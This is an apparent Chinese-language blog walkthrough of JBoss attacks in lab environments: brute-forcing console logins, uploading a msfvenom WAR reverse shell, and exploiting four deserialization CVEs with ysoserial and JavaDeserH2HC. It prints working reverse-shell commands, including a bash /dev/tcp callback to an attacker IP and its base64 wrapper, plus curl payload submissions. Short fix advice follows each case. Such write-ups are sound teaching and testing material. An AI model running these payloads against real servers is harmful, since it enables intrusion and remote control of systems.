本文最后更新于 2024-09-10,文章内容可能已经过时。

JBoss漏洞合集复现

JBoss

​ JBoss是一个基于J2EE的开放源代码的应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB 3规范。但是JBoss核心服务不包括支持Servlet/JSP的web容器,一般与Tomcat货jetty绑定使用。在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业有好的LGPL授权分发,并且由开源社区开发,这使得JBoss广为流行。

​ JBoss有很多优点,比如说:具有革命性的JMX为内核服务作为其总线结构,本身就是面向服务框架,具有统一的类装载器从而能够实现热部署和热卸载的能力,所以Jboss应用服务器是健壮的、高质量的、也具有良好的性能。2019年JBoss AS 更名为WildFly。

(这个框架比较老了,现在基本不用jboss,这次的漏洞复现原理就不过多深究)

一、JBoss未授权访问漏洞

1、JBoss 6.x JMX Console未授权访问

1.1 环境搭建

服务器:Centos7 (IP: 192.168.91.128) Jboss 6.x

攻击机:kali ( IP:192.168.91.129)

使用vulnlab的CVE-2017-12149漏洞搭建环境:

https://vulhub.org/#/enviroment/jboss/CVE-2017-12149/

进入到下载目录直接执行命令完成搭建

docker-compose up -d

image-20240824161352303

浏览器访问:

image-20240824161428784

点击JMX Console

image-20240824161652393

在这个页面进行burp抓包,输入用户名和密码admin和123456,进行弱口令尝试

image-20240909023848331

image-20240909024659012

抓包的结果不能看到明文密码,这个Basic后面的密文其实就是输入的用户名和密码

使用base64解码后可以查看出明文信息,选中文本(ctrl+shift+b即可解码)

image-20240909024813562

将抓取的内容发送到Intruder爆破模块进行若密码爆破

image-20240909025243911

添加选项,字典等

image-20240909025739028

添加两条规则:

一个固定前缀admin:

一个base64加密

image-20240909025907413

image-20240909030535611

image-20240909030127328

错误的密码返回的是401

image-20240909030822249

image-20240909030957718

可以看到爆破出来了正确的用户名和密码

登录到输入密码正确后的页面

image-20240909031138349

image-20240909031304377

点击服务部署

image-20240909031456611

在这里后续就可以填入payload,即war 木马进行利用

1.2 生成war 木马

kali:在msf里边生成war木马

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.91.129 LPORT=4444 -f war > shell.war

使用kali开启http服务

python3 -m http.server 80 

开启msf监听反弹shell

use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set LHOST 192.168.91.129
set LPORT 4444
exploit

1.3 上传木马

因为是模拟未授权访问,所以使用密码先登录就可以了,密码是admin/vulhub

平时就存储在/server/default/conf/props/jbossws-users.properties文件下

登陆进来选择service=MainDeployer

image-20221025154636506

下边选择两个deploy的里边任意一个就可以了,输入开启的web服务对应的war木马文件,也就是http://192.168.91.129/shell.war

image-20221025154714998

image-20240909032114622

image-20240909032303651

就上传成功了,开启kali监听然后浏览器访问目标就可以了,war里边的文件名是kali随机生成的

http://192.168.91.128:50732/shell/vbaulfplhl.jsp

image-20240909032506059

image-20221025155001000

kali可以看到连接上来的目标服务器

image-20240909033034294

第一个漏洞复现完毕

2.JBoss Administration Console未授权访问

2.1 环境搭建

服务器:CentOS7(IP:192.168.17.102)Jboss 6.x

攻击机:kali(IP:192.168.17.15)

使用vulhub的CVE-2017-12149漏洞环境

https://vulhub.org/#/environments/jboss/CVE-2017-12149/

进入到下载目录直接执行命令完成搭建

docker-compose up -d

访问目标网站即可

image-20240909033625569

2.2 上传木马

选择第一个Administration Console进去,因为是未授权访问所以输入一下账号和密码admin/vulhub

image-20240909033906150

登录到登陆界面,找到下边的Web Application(WAR)s

image-20240909034220702

可以看到上传war包,上传的时候保证这里是开启的

image-20221025160450844

image-20240909034345576

image-20240909034846548

上传后点击Continue也是直接上传访问,war木马直接利用之前第一个漏洞生成的,改个名字即可

image-20240909035104924

http://192.168.17.102:8080/shell/

kali用之前第一个漏洞监听的msf,浏览器访问url就可以反弹连接到kali

image-20240909035248701

二、JBoss反序列化漏洞

1.使用的反序列化工具

1.JavaDeserH2HC

https://github.com/joaomatosf/JavaDeserH2HC

2.ysoserial

https://github.com/frohoff/ysoserial

3.Deserialize

https://github.com/s0k/Deserialize

4.jexboss

https://github.com/joaomatosf/jexboss

这几个工具都可以用来生成反序列化的数据,在下面的反序列化漏洞中都是

ReadObject()触发反序列化漏洞,所以都可以使用cc5链进行利用。

2.反序列化的原理

​ 前边已经分析过几条cc链的具体使用原理,我们就直接略过中间分析的部分,直接找到分序列化的入口点即可。

2.1 cve-2015-7501

​ 此漏洞主要是由于JBoss中invoker/JMXInvokerServlet路径对外开放,由于JBoss的jmx组件支持Java反序列化,并且在反序列化过程中没有加入有效的安全检测机制,导致攻击者可以传入精心构造好的恶意序列化数据,在jmx对其进行反序列化处理时,导致传入的携带恶意代码的序列化数据执行,造成反序列化漏洞。

2.2cve-2017-7504

​ CVE-2017-7504出现在/jbossmq-httpil/HTTPServerILServlet路径下,和cve-2015-7501一样,在反序列化的过程中没有加入有效的安全检测机制使攻击代码可以通过反序列化的方式执行。

2.3 cve-2017-12149

​ 此漏洞主要是由于jbossserveralldeployhttpha-invoker.sarinvoker.warWEB-INFclassesorgjbossinvocationhttpservlet目录下的ReadOnlyAccessFilter.class文件中的doFilter方法,再将序列化传入ois中,并没有进行过滤便调用了readObject()进行反序列化,导致传入的携带恶意代码的序列化数据执行.

image-20221027095359437

2.4 cve-2013-4810

​ 此漏洞和CVE-2015-7501漏洞原理相同,web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。

3.JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

3.1 环境搭建

服务器:CentOS7(IP:192.168.17.102)Jboss 4.x

攻击机:kali(IP:192.168.17.15)

使用vulhub的CVE-2017-7504漏洞环境

https://vulhub.org/#/environments/jboss/CVE-2017-7504/

进入到下载目录直接执行命令完成搭建

docker-compose up -d

访问目标网站即可

image-20240910164757933

3.2 漏洞测试

访问下边网站

http://192.168.91.128:42867/jbossmq-httpil/HTTPServerILServlet

看到显示如下说明漏洞存在

image-20240910164725672

3.3使用ysoserial生成payload

构造反弹shell命令

bash -i >& /dev/tcp/192.168.91.129/7777 0>&1

base64加密

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkxLjEyOS83Nzc3IDA+JjE=
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkxLjEyOS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

生成反序列化payload(注意这里的java环境需要jdk1.8)

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkxLjEyOS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" > hack.ser

image-20240909041429277

使用curl上传内容

curl http://192.168.91.128:42867/jbossmq-httpil/HTTPServerILServlet --data-binary @hack.ser

在kali 监听7777即可获取反弹shell

image-20240910164904198

image-20221026115644127

3.4 使用JavaDeserH2HC生成payload

1.编译class文件

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

image-20240910165012271

2.生成反序列化payload

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.91.129:7777

image-20240910165050846

3.curl 提交payload

curl http://192.168.91.128:42867/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20240910165148692

kali监听7777端口即可反弹回shell

image-20240910165223618

3.5 修复建议

​ 因为这类的反序列化都依赖于InvokerTransformer类。如果用户在正常业务中不使用此类,可以将此类移除。方法为使用Winzip打开jar文件,在org/apache/commons/collections/functors/InvokerTransformer.class删除该文件。

​ 或者升级JBoss到最新版本。

4.Jboos cve-2015-7501漏洞复现

4.1环境搭建

服务器:CentOS7(IP:192.168.91.128)Jboss 6.x

攻击机:kali(IP:192.168.91.129)

image-20240910165728475

访问目标网站即可

image-20240910165817648

4.2 漏洞测试

访问下边的网站

http://192.168.91.128:30499/invoker/JMXInvokerServlet 

出现下载界面说明漏洞存在

image-20240910165845497

4.3 使用JavaDeserH2HC生成payload

同上,生成payload提交即可

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

image-20240910165955612

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.91.129:7777

image-20240910170016745

curl http://192.168.91.128:30499/invoker/JMXInvokerServlet  --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20240910170141822

kali监听收到反弹shell

image-20240910170156350

4.4 修复建议

​ 因为这类的反序列化都依赖于InvokerTransformer类。如果用户在正常业务中不使用此类,可以将此类移除。方法为使用Winzip打开jar文件,在org/apache/commons/collections/functors/InvokerTransformer.class删除该文件。

​ 或者升级JBoss到最新版本。

5.JBoss 5.x/6.x反序列化(cve-2017-12149)

5.1 环境搭建

服务器:CentOS7(IP:192.168.17.102)Jboss 6.x

攻击机:kali(IP:192.168.17.15)

使用vulfocus的CVE-2017-12149漏洞环境

image-20240910170605610

访问目标网站即可

image-20240910170809520

5.2 漏洞测试

漏洞出现在http invoker组件里边的ReadOnlyAccessFilter,访问

http://192.168.17.102:8080/invoker/readonly

出现界面如下说明漏洞存在

image-20240910170833872

5.3 使用JavaDeserH2HC生成payload

同上,生成payload提交即可

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

image-20240910170858508

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.91.129:7777

image-20240910170920558

curl http://192.168.91.128:45526/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20240910170952106

使用kali监听收到反弹shell

image-20240910171014237

5.4 修复建议

​ 删除http-invoker.sar组件,路径如下jboss-6.1.0.Final\server\default\deploy\http-invoker.sar或者升级JBoss到最新版本。

6.JBoss EJBInvokerServlet反序列化(cve-2013-4810)

6.1环境搭建

服务器:CentOS7(IP:192.168.17.102)Jboss 6.x

攻击机:kali(IP:192.168.17.15)

使用vulfocus的CVE-2017-12149漏洞环境

image-20240910171443434

访问目标网站即可

image-20240910171704951

6.2 漏洞测试

访问

http://192.168.91.128:63607/invoker/EJBInvokerServlet

出现下载说明漏洞存在

image-20240910171721183

6.3 使用JavaDeserH2HC生成payload

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.91.129:7777
curl http://192.168.91.128:63607/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20240910171844125

使用kali监听得到反弹shell

image-20240910171851230

6.4 修复建议

​ 因为这类的反序列化都依赖于InvokerTransformer类。如果用户在正常业务中不使用此类,可以将此类移除。方法为使用Winzip打开jar文件,在org/apache/commons/collections/functors/InvokerTransformer.class删除该文件。

​ 或者升级JBoss到最新版本。